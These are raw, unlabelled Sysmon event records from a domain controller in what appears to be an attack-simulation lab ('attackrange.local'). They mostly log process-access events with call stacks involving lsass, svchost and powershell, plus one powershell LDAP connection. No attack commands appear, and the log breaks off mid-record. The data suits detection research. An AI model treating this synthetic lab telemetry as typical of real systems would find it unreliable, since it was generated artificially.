10341000x80000000000000002830Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.024{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002829Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.024{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002828Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.024{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002827Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.024{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002826Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.024{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002825Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.024{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002824Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.024{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002823Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.024{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002822Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.024{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28FC-5F80-8700-000000007F01}4484C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002821Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.024{A5F018FF-28BF-5F80-0F00-000000007F01}11281208C:\Windows\system32\svchost.exe{A5F018FF-28FC-5F80-8700-000000007F01}4484C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|c:\windows\system32\UBPM.dll+a711|c:\windows\system32\UBPM.dll+f974|c:\windows\system32\UBPM.dll+cd3c|c:\windows\system32\UBPM.dll+d305|c:\windows\system32\UBPM.dll+dc05|c:\windows\system32\UBPM.dll+e91d|c:\windows\system32\UBPM.dll+e014|c:\windows\system32\UBPM.dll+115a2|c:\windows\system32\EventAggregation.dll+3fae|c:\windows\system32\EventAggregation.dll+3ea1|c:\windows\system32\EventAggregation.dll+36c9|c:\windows\system32\EventAggregation.dll+332f|c:\windows\system32\EventAggregation.dll+2e28|C:\Windows\SYSTEM32\ntdll.dll+64ed5|C:\Windows\SYSTEM32\ntdll.dll+64bdd|C:\Windows\SYSTEM32\ntdll.dll+64a40|C:\Windows\SYSTEM32\ntdll.dll+45b70|C:\Windows\SYSTEM32\ntdll.dll+2a073|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002820Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.024{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8b22|c:\windows\system32\lsm.dll+8a76|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002819Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:20.024{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8a38|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002867Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:21.539{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28F7-5F80-8500-000000007F01}4140C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1fb7a|C:\Windows\SYSTEM32\samsrv.dll+5df1|C:\Windows\SYSTEM32\samsrv.dll+5cf2|C:\Windows\SYSTEM32\samsrv.dll+178ce|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002866Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:21.070{A5F018FF-28BF-5F80-0F00-000000007F01}11284772C:\Windows\system32\svchost.exe{A5F018FF-28FD-5F80-8B00-000000007F01}3232C:\Windows\system32\wbem\wmiprvse.exe0x101541C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+20fee|C:\Windows\system32\wbem\wmiprvsd.dll+2dbe|C:\Windows\system32\wbem\wmiprvsd.dll+155e9|C:\Windows\system32\wbem\wmiprvsd.dll+1498a|C:\Windows\system32\wbem\wmiprvsd.dll+146e6|C:\Windows\system32\wbem\wmiprvsd.dll+140fe|C:\Windows\system32\wbem\wbemcore.dll+2227|C:\Windows\system32\wbem\wbemcore.dll+13f4|C:\Windows\system32\wbem\wbemcore.dll+22adf|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002865Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:21.070{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28FD-5F80-8B00-000000007F01}3232C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002864Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:21.055{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28FD-5F80-8B00-000000007F01}3232C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002863Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:21.055{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28FD-5F80-8B00-000000007F01}3232C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002862Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:21.023{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002861Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:21.023{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002860Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:21.023{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 354300x80000000000000002868Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:21.564{A5F018FF-28F7-5F80-8500-000000007F01}4140C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56378-false10.0.1.14win-dc-1796611.attackrange.local389ldap 10341000x80000000000000002932Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.945{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28FF-5F80-8F00-000000007F01}4976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002931Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.945{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28FF-5F80-8F00-000000007F01}4976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000002930Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.913{A5F018FF-28FF-5F80-8F00-000000007F01}4976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_0nulx0fo.3vk.ps12020-10-09 09:10:23.913 10341000x80000000000000002929Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.898{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28FF-5F80-8F00-000000007F01}4976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002928Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.882{A5F018FF-28FF-5F80-8D00-000000007F01}47444736C:\Windows\system32\conhost.exe{A5F018FF-28FF-5F80-8F00-000000007F01}4976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002927Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 